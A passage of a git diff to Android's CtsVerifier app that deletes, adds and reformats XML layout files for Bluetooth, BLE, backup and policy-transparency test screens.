-                android:text="@string/policy_transparency_open_settings_label"/>
+                android:paddingStart="8dp"
+                android:paddingEnd="16dp"
+                android:visibility="gone" />
+        <EditText android:id="@+id/edit_text_widget"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:ems="6"
+                android:singleLine="true"
+                android:gravity="center"
+                android:visibility="gone" />
+        <Button android:id="@+id/update_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/policy_transparency_update_button_label"
+                android:paddingStart="8dp"
+                android:paddingEnd="16dp"
+                android:visibility="gone" />
+        <Spinner android:id="@+id/spinner_widget"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:visibility="gone" />
+    </LinearLayout>
 
-            <include layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
-    </ScrollView>
+    <Button android:id="@+id/open_settings_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/policy_transparency_open_settings_label" />
+
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
+</ScrollView>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout-watch/bt_device_picker.xml b/apps/CtsVerifier/res/layout-watch/bt_device_picker.xml
deleted file mode 100644
index 3792aa8..0000000
--- a/apps/CtsVerifier/res/layout-watch/bt_device_picker.xml
+++ /dev/null
@@ -1,88 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical">
-
-  <ProgressBar
-      android:id="@+id/bt_progress_bar"
-      style="@android:style/Widget.DeviceDefault.ProgressBar.Horizontal"
-      android:layout_width="match_parent"
-      android:layout_height="4dp"
-      android:indeterminate="true" />
-
-  <ScrollView
-      android:layout_width="match_parent"
-      android:layout_height="match_parent">
-    <LinearLayout
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical">
-      <TextView
-          style="?android:attr/listSeparatorTextViewStyle"
-          android:layout_width="match_parent"
-          android:layout_height="wrap_content"
-          android:text="@string/bt_paired_devices"/>
-      <FrameLayout
-          android:layout_width="match_parent"
-          android:layout_height="match_parent"
-          android:orientation="vertical">
-        <ListView
-            android:id="@+id/bt_paired_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
-        <TextView
-            android:id="@+id/bt_empty_paired_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:gravity="center"
-            android:text="@string/bt_no_devices"
-            android:visibility="gone"/>
-      </FrameLayout>
-
-      <TextView
-          style="?android:attr/listSeparatorTextViewStyle"
-          android:layout_width="match_parent"
-          android:layout_height="wrap_content"
-          android:text="@string/bt_new_devices"/>
-      <FrameLayout
-          android:layout_width="match_parent"
-          android:layout_height="match_parent"
-          android:layout_weight="1"
-          android:orientation="vertical">
-        <ListView
-            android:id="@+id/bt_new_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
-        <TextView
-            android:id="@+id/bt_empty_new_devices"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:gravity="center"
-            android:text="@string/bt_no_devices"
-            android:visibility="gone"/>
-      </FrameLayout>
-
-      <Button
-          android:id="@+id/bt_scan_button"
-          android:layout_width="match_parent"
-          android:layout_height="wrap_content"
-          android:drawableTop="@android:drawable/ic_menu_search"
-          android:text="@string/bt_scan"/>
-    </LinearLayout>
-  </ScrollView>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout-watch/policy_transparency_test.xml b/apps/CtsVerifier/res/layout-watch/policy_transparency_test.xml
deleted file mode 100644
index 40c1ad3..0000000
--- a/apps/CtsVerifier/res/layout-watch/policy_transparency_test.xml
+++ /dev/null
@@ -1,88 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/root_view"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:descendantFocusability="beforeDescendants"
-    android:focusableInTouchMode="true"
-    android:orientation="vertical">
-    <ScrollView
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
-            <TextView
-                android:id="@+id/test_instructions"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:textSize="12dip"/>
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="vertical"
-                android:paddingTop="8dp">
-                <TextView
-                    android:id="@+id/widget_label"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="8dp"
-                    android:paddingStart="16dp"
-                    android:textSize="12dip"/>
-                <Switch
-                    android:id="@+id/switch_widget"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="16dp"
-                    android:paddingStart="8dp"
-                    android:visibility="gone"/>
-                <EditText
-                    android:id="@+id/edit_text_widget"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:ems="6"
-                    android:gravity="center"
-                    android:singleLine="true"
-                    android:visibility="gone"/>
-                <Button
-                    android:id="@+id/update_button"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="16dp"
-                    android:paddingStart="8dp"
-                    android:text="@string/policy_transparency_update_button_label"
-                    android:visibility="gone"/>
-                <Spinner
-                    android:id="@+id/spinner_widget"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:visibility="gone"/>
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/open_settings_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:text="@string/policy_transparency_open_settings_label"/>
-
-            <include layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
-    </ScrollView>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout-watch/policy_transparency_test_list.xml b/apps/CtsVerifier/res/layout-watch/policy_transparency_test_list.xml
deleted file mode 100644
index 0835cb1..0000000
--- a/apps/CtsVerifier/res/layout-watch/policy_transparency_test_list.xml
+++ /dev/null
@@ -1,63 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent">
-
-<ScrollView
-	android:layout_width="match_parent"
-	android:layout_height="match_parent">
-    <LinearLayout app:ctsv_layout_box="all"
-            android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            >
-
-        <ListView android:id="@id/android:list"
-                android:layout_width="match_parent"
-                android:layout_height="1000dip"
-		android:layout_marginTop="10dip"
-		android:layout_marginBottom="10dip"
-                />
-
-        <TextView android:id="@id/android:empty"
-                android:layout_width="match_parent"
-                android:layout_height="8dip"
-                />
-
-        <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content">
-            <Button android:id="@+id/short_msg_button"
-                    android:layout_width="0dp"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-		    android:textSize="8dip"
-                    android:text="@string/policy_transparency_short_support_msg_label" />
-            <Button android:id="@+id/long_msg_button"
-                    android:layout_width="0dp"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-		    android:textSize="8dip"
-                    android:text="@string/policy_transparency_long_support_msg_label" />
-        </LinearLayout>
-        <include layout="@layout/pass_fail_buttons" />
-
-    </LinearLayout>
-</ScrollView>
-</com.android.cts.verifier.BoxInsetLayout>
diff --git a/apps/CtsVerifier/res/layout-watch/positive_device_owner.xml b/apps/CtsVerifier/res/layout-watch/positive_device_owner.xml
deleted file mode 100644
index 82f11a2..0000000
--- a/apps/CtsVerifier/res/layout-watch/positive_device_owner.xml
+++ /dev/null
@@ -1,50 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical">
-
-    <ScrollView
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
-
-            <TextView
-                android:id="@+id/positive_device_owner_instructions"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:text="@string/device_owner_positive_tests_instructions"
-                android:textSize="16dip" />
-
-            <Button
-                android:id="@+id/set_device_owner_button"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:text="@string/set_device_owner_button_label" />
-
-            <ListView
-                android:id="@+id/android:list"
-                android:layout_width="match_parent"
-                android:layout_height="800dip" />
-
-            <include layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/ble_connection_priority_client_test.xml b/apps/CtsVerifier/res/layout/ble_connection_priority_client_test.xml
new file mode 100644
index 0000000..6dafbbe
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/ble_connection_priority_client_test.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>

+<!-- Copyright (C) 2016 The Android Open Source Project

+

+     Licensed under the Apache License, Version 2.0 (the "License");

+     you may not use this file except in compliance with the License.

+     You may obtain a copy of the License at

+

+          http://www.apache.org/licenses/LICENSE-2.0

+

+     Unless required by applicable law or agreed to in writing, software

+     distributed under the License is distributed on an "AS IS" BASIS,

+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+     See the License for the specific language governing permissions and

+     limitations under the License.

+-->

+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

+                android:layout_width="match_parent"

+                android:layout_height="match_parent"

+                android:orientation="vertical"

+                android:padding="10dip"

+    >

+    <include android:id="@+id/pass_fail_buttons"

+             android:layout_width="match_parent"

+             android:layout_height="wrap_content"

+             android:layout_alignParentBottom="true"

+             layout="@layout/pass_fail_buttons"

+        />

+    <ListView android:id="@+id/ble_client_connection_tests"

+              android:layout_height="wrap_content"

+              android:layout_width="match_parent"

+              android:layout_above="@id/pass_fail_buttons"

+              android:layout_alignParentTop="true"

+              android:padding="10dip"

+        />

+</RelativeLayout>

diff --git a/apps/CtsVerifier/res/layout/ble_connection_priority_server_test.xml b/apps/CtsVerifier/res/layout/ble_connection_priority_server_test.xml
new file mode 100644
index 0000000..2772ebe
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/ble_connection_priority_server_test.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>

+<!-- Copyright (C) 2016 The Android Open Source Project

+

+     Licensed under the Apache License, Version 2.0 (the "License");

+     you may not use this file except in compliance with the License.

+     You may obtain a copy of the License at

+

+          http://www.apache.org/licenses/LICENSE-2.0

+

+     Unless required by applicable law or agreed to in writing, software

+     distributed under the License is distributed on an "AS IS" BASIS,

+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+     See the License for the specific language governing permissions and

+     limitations under the License.

+-->

+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

+                android:layout_width="match_parent"

+                android:layout_height="match_parent"

+                android:orientation="vertical"

+                android:padding="10dip"

+    >

+    <include android:id="@+id/pass_fail_buttons"

+             android:layout_width="match_parent"

+             android:layout_height="wrap_content"

+             android:layout_alignParentBottom="true"

+             layout="@layout/pass_fail_buttons"

+        />

+    <ListView android:id="@+id/ble_server_connection_tests"

+              android:layout_height="wrap_content"

+              android:layout_width="match_parent"

+              android:layout_above="@id/pass_fail_buttons"

+              android:layout_alignParentTop="true"

+              android:padding="10dip"

+        />

+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/ble_encrypted_client_test.xml b/apps/CtsVerifier/res/layout/ble_encrypted_client_test.xml
new file mode 100644
index 0000000..7d42381
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/ble_encrypted_client_test.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>

+<!-- Copyright (C) 2016 The Android Open Source Project

+

+     Licensed under the Apache License, Version 2.0 (the "License");

+     you may not use this file except in compliance with the License.

+     You may obtain a copy of the License at

+

+          http://www.apache.org/licenses/LICENSE-2.0

+

+     Unless required by applicable law or agreed to in writing, software

+     distributed under the License is distributed on an "AS IS" BASIS,

+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+     See the License for the specific language governing permissions and

+     limitations under the License.

+-->

+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

+                android:layout_width="match_parent"

+                android:layout_height="match_parent"

+                android:orientation="vertical"

+                android:padding="10dip"

+    >

+    <include android:id="@+id/pass_fail_buttons"

+             android:layout_width="match_parent"

+             android:layout_height="wrap_content"

+             android:layout_alignParentBottom="true"

+             layout="@layout/pass_fail_buttons"

+        />

+    <ListView android:id="@+id/ble_client_enctypted_tests"

+              android:layout_height="wrap_content"

+              android:layout_width="match_parent"

+              android:layout_above="@id/pass_fail_buttons"

+              android:layout_alignParentTop="true"

+              android:padding="10dip"

+        />

+</RelativeLayout>

diff --git a/apps/CtsVerifier/res/layout/ble_encrypted_server_test.xml b/apps/CtsVerifier/res/layout/ble_encrypted_server_test.xml
new file mode 100644
index 0000000..35a8a5e
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/ble_encrypted_server_test.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>

+<!-- Copyright (C) 2016 The Android Open Source Project

+

+     Licensed under the Apache License, Version 2.0 (the "License");

+     you may not use this file except in compliance with the License.

+     You may obtain a copy of the License at

+

+          http://www.apache.org/licenses/LICENSE-2.0

+

+     Unless required by applicable law or agreed to in writing, software

+     distributed under the License is distributed on an "AS IS" BASIS,

+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+     See the License for the specific language governing permissions and

+     limitations under the License.

+-->

+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

+                android:layout_width="match_parent"

+                android:layout_height="match_parent"

+                android:orientation="vertical"

+                android:padding="10dip"

+    >

+    <include android:id="@+id/pass_fail_buttons"

+             android:layout_width="match_parent"

+             android:layout_height="wrap_content"

+             android:layout_alignParentBottom="true"

+             layout="@layout/pass_fail_buttons"

+        />

+    <ListView android:id="@+id/ble_server_enctypted_tests"

+              android:layout_height="wrap_content"

+              android:layout_width="match_parent"

+              android:layout_above="@id/pass_fail_buttons"

+              android:layout_alignParentTop="true"

+              android:padding="10dip"

+        />

+</RelativeLayout>

diff --git a/apps/CtsVerifier/res/layout/ble_insecure_encrypted_server_test.xml b/apps/CtsVerifier/res/layout/ble_insecure_encrypted_server_test.xml
new file mode 100644
index 0000000..2be5f69
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/ble_insecure_encrypted_server_test.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>

+<!-- Copyright (C) 2016 The Android Open Source Project

+

+     Licensed under the Apache License, Version 2.0 (the "License");

+     you may not use this file except in compliance with the License.

+     You may obtain a copy of the License at

+

+          http://www.apache.org/licenses/LICENSE-2.0

+

+     Unless required by applicable law or agreed to in writing, software

+     distributed under the License is distributed on an "AS IS" BASIS,

+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+     See the License for the specific language governing permissions and

+     limitations under the License.

+-->

+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

+                android:layout_width="match_parent"

+                android:layout_height="match_parent"

+                android:orientation="vertical"

+                android:padding="10dip"

+    >

+    <include android:id="@+id/pass_fail_buttons"

+             android:layout_width="match_parent"

+             android:layout_height="wrap_content"

+             android:layout_alignParentBottom="true"

+             layout="@layout/pass_fail_buttons"

+        />

+    <TextView android:id="@+id/ble_insecure_server_enctypted_text"

+              android:layout_height="wrap_content"

+              android:layout_width="wrap_content"

+              android:layout_above="@id/pass_fail_buttons"

+              android:layout_alignParentTop="true"

+              android:text="@string/ble_insecure_server_enctypted_info"

+              android:padding="10dip"

+        />

+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/bt_device_picker.xml b/apps/CtsVerifier/res/layout/bt_device_picker.xml
index 6264f9d..3c0d4bc 100644
--- a/apps/CtsVerifier/res/layout/bt_device_picker.xml
+++ b/apps/CtsVerifier/res/layout/bt_device_picker.xml
@@ -1,11 +1,11 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
+
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
      You may obtain a copy of the License at
-
+  
           http://www.apache.org/licenses/LICENSE-2.0
-
+  
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@@ -13,56 +13,78 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <ProgressBar android:id="@+id/bt_progress_bar"
-        android:indeterminate="true"
+
+    <ProgressBar
+        android:id="@+id/bt_progress_bar"
+        style="@android:style/Widget.DeviceDefault.ProgressBar.Horizontal"
+        android:layout_width="match_parent"
         android:layout_height="4dp"
-        android:layout_width="match_parent"
-        style="@android:style/Widget.DeviceDefault.ProgressBar.Horizontal"/>
-    <TextView android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:text="@string/bt_paired_devices"
-        style="?android:attr/listSeparatorTextViewStyle"/>
-    <FrameLayout android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:layout_weight="1">
-        <ListView android:id="@+id/bt_paired_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
-        <TextView android:id="@+id/bt_empty_paired_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:gravity="center"
-            android:text="@string/bt_no_devices"
-            android:visibility="gone"/>
-    </FrameLayout>
-    <TextView android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:text="@string/bt_new_devices"
-        style="?android:attr/listSeparatorTextViewStyle"/>
-    <FrameLayout android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:layout_weight="1">
-        <ListView android:id="@+id/bt_new_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
-        <TextView android:id="@+id/bt_empty_new_devices"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:layout_weight="1"
-            android:gravity="center"
-            android:text="@string/bt_no_devices"
-            android:visibility="gone"/>
-    </FrameLayout>
+        android:indeterminate="true" />
 
-    <Button android:id="@+id/bt_scan_button"
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:drawableTop="@android:drawable/ic_menu_search"
-        android:text="@string/bt_scan"/>
+        android:layout_height="match_parent">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+            <TextView
+                style="?android:attr/listSeparatorTextViewStyle"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/bt_paired_devices" />
+            <FrameLayout
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_weight="1"
+                android:orientation="vertical">
+                <ListView
+                    android:id="@+id/bt_paired_devices"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent" />
+                <TextView
+                    android:id="@+id/bt_empty_paired_devices"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"
+                    android:gravity="center"
+                    android:text="@string/bt_no_devices"
+                    android:visibility="gone" />
+            </FrameLayout>
+
+            <TextView
+                style="?android:attr/listSeparatorTextViewStyle"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/bt_new_devices" />
+            <FrameLayout
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_weight="1"
+                android:orientation="vertical">
+                <ListView
+                    android:id="@+id/bt_new_devices"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent" />
+                <TextView
+                    android:id="@+id/bt_empty_new_devices"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"
+                    android:layout_weight="1"
+                    android:gravity="center"
+                    android:text="@string/bt_no_devices"
+                    android:visibility="gone" />
+            </FrameLayout>
+
+            <Button
+                android:id="@+id/bt_scan_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:drawableTop="@android:drawable/ic_menu_search"
+                android:text="@string/bt_scan" />
+        </LinearLayout>
+    </ScrollView>
 </LinearLayout>
-
diff --git a/apps/CtsVerifier/res/layout/bt_toggle.xml b/apps/CtsVerifier/res/layout/bt_toggle.xml
index c592c78..e3c00b7 100644
--- a/apps/CtsVerifier/res/layout/bt_toggle.xml
+++ b/apps/CtsVerifier/res/layout/bt_toggle.xml
@@ -13,30 +13,29 @@
      limitations under the License.
 -->
 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+    <TextView
+        style="@style/InstructionsFont"
         android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical"
-        style="@style/RootLayoutPadding">
-    <TextView android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_alignParentTop="true"
-            android:gravity="center"
-            android:text="@string/bt_toggle_instructions"
-            style="@style/InstructionsFont"
-            />
+        android:layout_height="wrap_content"
+        android:layout_alignParentTop="true"
+        android:gravity="center"
+        android:text="@string/bt_toggle_instructions" />
 
-    <ToggleButton android:id="@+id/bt_toggle_button"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_centerInParent="true"
-            android:textOn="@string/bt_disable_bluetooth"
-            android:textOff="@string/bt_enable_bluetooth"
-            />
-            
-    <include android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_alignParentBottom="true"
-            layout="@layout/pass_fail_buttons" 
-            />
+    <ToggleButton
+        android:id="@+id/bt_toggle_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_centerInParent="true"
+        android:textOff="@string/bt_enable_bluetooth"
+        android:textOn="@string/bt_disable_bluetooth" />
+
+    <include
+        layout="@layout/pass_fail_buttons"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_alignParentBottom="true" />
 
 </RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/bu_main.xml b/apps/CtsVerifier/res/layout/bu_main.xml
new file mode 100644
index 0000000..2289fee
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/bu_main.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2011 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+         android:orientation="vertical"
+         android:layout_width="match_parent"
+         android:layout_height="match_parent"
+         >
+         
+    <ListView android:id="@+id/android:list"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"
+            />
+            
+    <TextView android:id="@id/android:empty"
+           android:gravity="center"
+           android:layout_width="match_parent"
+           android:layout_height="wrap_content"
+           android:layout_weight="1"
+           android:text="@string/bu_loading"
+           />
+
+    <Button android:id="@+id/generate_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/bu_generate"
+            />
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/bu_preference_row.xml b/apps/CtsVerifier/res/layout/bu_preference_row.xml
new file mode 100644
index 0000000..c37eece
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/bu_preference_row.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2011 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:textSize="18sp"
+        android:padding="5dp"
+        />
diff --git a/apps/CtsVerifier/res/layout/bua_main.xml b/apps/CtsVerifier/res/layout/bua_main.xml
new file mode 100644
index 0000000..e2d5ef1
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/bua_main.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2011 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+         android:orientation="vertical"
+         android:layout_width="match_parent"
+         android:layout_height="match_parent"
+         >
+
+    <ListView android:id="@+id/android:list"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"
+            />
+
+    <TextView android:id="@id/android:empty"
+           android:gravity="center"
+           android:layout_width="match_parent"
+           android:layout_height="wrap_content"
+           android:layout_weight="1"
+           android:text="@string/bu_loading"
+           />
+
+    <Button android:id="@+id/generate_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/bua_read_settings"
+            />
+
+    <Button android:id="@+id/show_instructions_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/bua_show_instructions"
+            />
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/intent_driven_test.xml b/apps/CtsVerifier/res/layout/intent_driven_test.xml
index dbb54c9..794a6d6 100644
--- a/apps/CtsVerifier/res/layout/intent_driven_test.xml
+++ b/apps/CtsVerifier/res/layout/intent_driven_test.xml
@@ -1,36 +1,32 @@
 <?xml version="1.0" encoding="utf-8"?>
 
-<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
-    <LinearLayout app:ctsv_layout_box="all"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical">
-
-        <ScrollView
+        android:layout_height="0dp"
+        android:layout_weight="1">
+        <TextView android:id="@+id/info"
